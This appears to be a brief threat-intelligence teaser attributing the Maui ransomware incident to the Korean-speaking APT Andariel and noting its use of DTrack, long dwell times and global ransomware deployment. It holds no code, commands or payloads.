Exclusively deploying DTrack, also known as Preft;
Dwell time within target networks can last for months prior to activity;
Deploying ransomware on a global scale, demonstrating ongoing financial motivations and scale of interest
Earlier, the CISA published an alert related to a Stairwell report, “Maui Ransomware.” Our data should openly help solidify the attribution of the Maui ransomware incident to the Korean-speaking APT Andariel, also known as Silent Chollima and Stonefly.Read More